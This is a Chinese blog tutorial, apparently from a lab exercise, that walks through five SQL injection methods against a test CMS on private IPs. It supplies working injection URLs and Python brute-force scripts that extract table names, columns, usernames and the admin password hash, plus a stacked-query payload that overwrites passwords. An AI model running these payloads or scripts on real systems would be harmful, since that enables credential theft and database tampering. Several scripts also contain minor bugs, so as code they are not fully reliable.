SQL 注入 五大基本手法

五大基本手法

联合查询

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select 语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询。

必要条件

  • 两条 select 语句查询结果必须具有相同的列数
  • 对应的列数数据类型相同(特殊形况下,条件被放松)

判断查询列数

order by

select 语句后 order by 加数字,意为根据第多少列排序。

如果报错,则说明没有该列,继续向小的数字更改查询,直到查询出列数最大值

image-20231106104543522

image-20231106104612238

image-20231106104805881说明该表有 15 列

判断显示位置

原理

image-20231106111605184

将前一条查询语句置为假,查看哪些列会显示在页面

使用数字 1-15 占位,看哪那个位置会显示到页面

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

image-20231106111846553

数据库中的敏感信息

敏感信息含义
version()数据库版本
database()当前正在使用的数据库的名称
@@datadirMySQL服务器的数据目录路径
current_user()当前用户的用户名和主机名

image-20231106112705997

image-20231106112950138

查看表

information_schema 元数据库中的 tables 表中存储着数据库中所有的表

information_schema.tables 表结构:

用到的字段含义
table_name表名
table_schema表所属的数据库

image-20231106115202147

在 sql 注入中查询所有的表:

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables

image-20231106115715783

此处因为联合查询,每列的数据类型不同而报错,将 table_name 转换为 16 进制的数值型

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables

image-20231106124942569

总共有 517 个表名,因为此前查出在 cms 表中,增加筛选条件

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables where table_schema=database()

image-20231106130315855

十六进制转换成字符

image-20231106131250813

此处可以使用 group_concat() 连接显示出整列中的内容

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

image-20231106131042431

转码

image-20231106131404710

查看表中字段

用户名和密码可能存于 cms_users 表中

information_schema 元数据库中的 columns 表中存储着数据库中所有的列

information_schema.columns 表结构:

用到的字段(列)含义
table_schema所属数据库
column_name列 (字段名)

image-20231106132116323

查看 cms_users 表中的字段

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

image-20231106132744624

image-20231106132834712

查询具体数据

读取用户名、密码

http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,group_concat(username,':',password),12,13,14,15 from cms_users

image-20231106133620512

解密

image-20231106133911396

image-20231106133937939

报错注入

在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,就是在错误信息中执行 SQL 语句。

group by

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

updatexml

显示长度有限制,可以拆分查询

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

image-20231106164310760

当 sql 语句出现闭合时,显示报错信息

image-20231106170331679

在报错信息后加报错查询

and updatexml(1,concat(0x5e,(select database()),0x5e),1)

image-20231106171116197

爆破账号密码

查看当前数据库

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+

image-20231106183739392

查看当前数据库中的表

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()),0x5e)) --+

报错返回多于一行

image-20231106184216182

加限制条件,一次查询一条,从 limit 1,1 开始,直到查到 limit 7,1 出现 cms_users 表可能存在用户信息

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e)) --+

image-20231106185713272

查看表中字段

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),0x5e)) --+

image-20231106190158545

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 2,1),0x5e)) --+

image-20231106190235156

查询用户名和密码

http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select group_concat(username,':',password) from cms_users),0x5e)) --+

image-20231106190550015

解密

image-20231106190625429

布尔盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

数据库设置

phpstudy 的数据库交互太慢,改用 xampp,但 xampp 中无数据库 ‘cms’ ,需要将 phpstudy 中的 cms 数据库导入 xampp 中的数据库(phpstudy 和 xampp 使用的不是同一个数据库)

image-20231106181617768

启动 phpstudy(启动 phpstudy 的数据库),打开 cmd

image-20231106181125648

导出数据库 cms

mysqldump -u root -p cms  > c:\cms.sql

image-20231106181416776

停止并退出 phpstudy

image-20231106181524814

打开 xampp 的 apache 和 mysql,并开启终端

image-20231106181804643

登录数据库,创建 cms 数据库,进入 cms 数据库,导入数据库

mysql -u root -p

create database cms;

exit
mysql -u root -p cms < C:\cms.sql

image-20231106182522796

成功导入

image-20231106182606072

再次访问

image-20231106182619202

使用条件

当语句后跟正确或错误的语句时页面显示内容不同

http://10.9.47.148/cms/show.php?id=33 and 1=1

image-20231106191131552

http://10.9.47.148/cms/show.php?id=33 and 1=2

image-20231106191146820

可知,当后面的语句为真时,显示新闻页面

可以利用 1=1 位置的真假返回不同页面判断数据库信息

判断数据库名长度

判断数据库名的长度是否大于 10

http://10.9.47.148/cms/show.php?id=33 and length(database())>10

未显示新闻页面,说明判断条件即 length(database())>10 错误,数据库名小于 10 位

image-20231106191353234

多次判断,最后可知数据库名长度为3

http://10.9.47.148/cms/show.php?id=33 and length(database())=3

image-20231106192617410

按位测试

使用函数 substr()

按位爆破数据库名

逐个字母进行判断

判断数据库的第一个字母是否为 “s”

http://10.9.47.148/cms/show.php?id=33 and substr(database(),1,1)='s'

image-20231106193038926

未返回新闻页面,说明数据库名第一个字母不为 “s”

测试字母 “c”

http://10.9.47.148/cms/show.php?id=33 and substr(database(),1,1)='c'

成功返回

image-20231106193147664

编写脚本名爆破数据库名

bp 抓包查看按位测试成功和失败时返回数据包的不同

image-20231106193522070

image-20231106193540001

发现当测试成功时,返回数据包的 Content-Length 长度为 5263,可以利用这一点进行判断

import string
import requests

strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)
database_name=""
# 遍历第1-3位
for i in range(1,4):
    # 每位遍历字母数字下划线
    for j in str:
        url = f"http://10.9.47.148/cms/show.php?id=33 and substr(database(),{i},1)='{j}'"
        res = requests.get(url=url)
        if res.headers["Content-Length"] == "5263":
            database_name+=f"{j}"
            break
print(database_name)

image-20231106195915877

爆破表名

逐条查询

http://10.9.47.148/cms/show.php?id=33 and substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1)='l'
# limit 1,1 中第一个 1 代表查询出的第 1 个表名,后面 1 为显示几个表
# 后面的 1.1 为 substr() 中的数值,第一个 1 表示从表名的第 1 个字符起,查询 1 个字符

image-20231106202602681

image-20231106202620216

可以判断出第一个表名的第一个字符为 c

编写脚本

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)

# 跑第0-20个表
for i in range(0,20):
    # 跑完一个表则重置表名
    table_name = ""
    # 假设每个表的表名最长10位,每个表名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1)='{name_str}'"
            res = requests.get(url=url)
            # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到表名,继续爆破下个字符
            if res.headers["Content-Length"] == "5263":
                table_name+=name_str
                break
    print(table_name)

image-20231106212222597

爆破字段

http://10.9.47.148/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),1,1)='u'
# limit 1,1 中第一个 1 代表查询出的第 1 个字段名,后面 1 为查询几个字段
# 后面的 1.1 为 substr() 中的数值,第一个 1 表示从字段名的第 1 个字符起,查询 1 个字符

脚本源码

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)

# 跑第0-10个字段(假设最多10个字段)
for i in range(0,10):
    # 跑完一个字段则重置字段名
    column_name = ""
    # 假设每个表的字段名最长10位,每个字段名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{name_str}'"
            res = requests.get(url=url)
            # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到字段名,继续爆破下个字符
            if res.headers["Content-Length"] == "5263":
                column_name+=name_str
                break
    print(column_name)

image-20231106212051092

爆破用户名

http://10.9.47.148/cms/show.php?id=33 and substr((select username from cms_users limit 1,1),1,1)='a'
# limit 1,1 中第一个 1 代表查询出的第 1 个用户名,后面 1 为查询几个用户名
# 后面的 1.1 为 substr() 中的数值,第一个 1 表示从用户名的第 1 个字符起,查询 1 个字符

脚本源码

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)

# 跑第0-10个用户名
for i in range(0,10):
    # 跑完一个表则重置用户名
    user_name = ""
    # 假设每个用户的表名最长10位,每个用户名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select username from cms_users limit {i},1),{j},1)='{name_str}'"
            res = requests.get(url=url)
            # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到用户名,继续爆破下个字符
            if res.headers["Content-Length"] == "5263":
                user_name+=name_str
                break
    print(user_name)

image-20231106213050456

爆破 admin 密码

源码

import string
import requests
import hashlib
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)
password = ""
# md 5 加密后 32 位,爆破 32 位
for j in range(1,33):
    for name_str in str:
        url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select password from cms_users where username = 'admin' limit 0,1),{j},1)='{name_str}'"
        res = requests.get(url=url)
        # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到密码,继续爆破下个字符
        if res.headers["Content-Length"] == "5263":
            password+=name_str
            break
print(password)

image-20231106215154965

解码

image-20231106215312276

延时注入

由于网络问题等原因,若超时时间太短可能造成爆破不准确,但超时时间设置过长会导致爆破时间成本上升

原理

通过 if 中的条件,如果为真则沉睡,否则不沉睡

此处按位测试第一个字符,如果当前数据库第一个字符匹配时,则加载五秒

http://10.9.47.148/cms/show.php?id=33 and if(substr(database(),1,1)='c',sleep(5),1)

image-20231106221125693

脚本中的判断条件:延时

为了节省爆破时间,将延时改为 1

此种方法爆破时间比延时注入长

数据库爆破

import string
import requests

strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)
database_name=""
# 遍历第0-3位
for i in range(0,4):
    # 每位遍历字母数字下划线
    for j in str:
        url=f"http://10.9.47.148/cms/show.php?id=33 and if(substr(database(),{i},1)='{j}',sleep(1),1)"
        # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符
        try:
            res = requests.get(url=url,timeout=1)
        except requests.exceptions.ReadTimeout:
            database_name+=j
            break
print(database_name)

image-20231106222416640

表名爆破

依次判断每个表的每个字符,若沉睡,则字符匹配

http://10.9.47.148/cms/show.php?id=33 and if(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='c',sleep(5),1)

脚本源码

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)

# 跑第0-20个表
for i in range(0,20):
    # 跑完一个表则重置表名
    table_name = ""
    # 假设每个表的表名最长10位,每个表名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1)='{name_str}',sleep(1),1)"
            # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符
            try:
                res = requests.get(url=url, timeout=1)
            except requests.exceptions.ReadTimeout:
                table_name += name_str
                break
    print(table_name)

爆破出 cms_users 表

image-20231106224022753

爆破字段

http://10.9.47.148/cms/show.php?id=33 and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 0,1),1,1)='u',sleep(5),1)

若字符匹配则延迟

image-20231106224620738

由于网络问题等原因,若超时时间太短可能造成爆破不准确,但超时时间设置过长会导致爆破时间成本上升,为提升准确性 ,爆破时间稍长 ,不报错则耐心等待

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)

# 跑第0-10个字段(假设最多10个字段)
for i in range(0,10):
    # 跑完一个字段则重置字段名
    column_name = ""
    # 假设每个表的字段名最长10位,每个字段名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{name_str}',sleep(3),1)"
            # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符
            try:
                res = requests.get(url=url, timeout=3)
            except requests.exceptions.ReadTimeout:
                column_name += name_str
                break
    print(column_name)

image-20231106230053044

爆破用户名

http://10.9.47.148/cms/show.php?id=33 and if(substr((select username from cms_users limit 0,1),1,1)='a',sleep(5),1)

image-20231106225958043

脚本源码

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)

# 跑第0-10个字段(假设最多10个字段)
for i in range(0,10):
    # 跑完一个字段则重置字段名
    column_name = ""
    # 假设每个表的字段名最长10位,每个字段名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select username from cms_users limit {i},1),{j},1)='{name_str}',sleep(5),1)"
            # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符
            try:
                res = requests.get(url=url, timeout=1)
            except requests.exceptions.ReadTimeout:
                column_name += name_str
                break
    print(column_name)

image-20231106230939250

爆破 admin 密码

源码

import string
import requests
# 定义表名字符集(字母数字下划线)
strings = string.digits+string.ascii_letters+'_'
str =  []
for i in strings:
    str.append(i)
password = ""
# md 5 加密后 32 位,爆破 32 位
for j in range(1,33):
    for name_str in str:
        url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select password from cms_users where username = 'admin' limit 0,1),{j},1)='{name_str}',sleep(1),1)"
        res = requests.get(url=url)
        # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符
        try:
            res = requests.get(url=url, timeout=1)
        except requests.exceptions.ReadTimeout:
            password += name_str
            break
print(password)

image-20231107090754403

解密

image-20231107090909102

堆叠查询

;结束上条 SQL 语句,另起一条语句进行增删改查操作

一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。

 ?id=2';update users set password='123456'--+

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值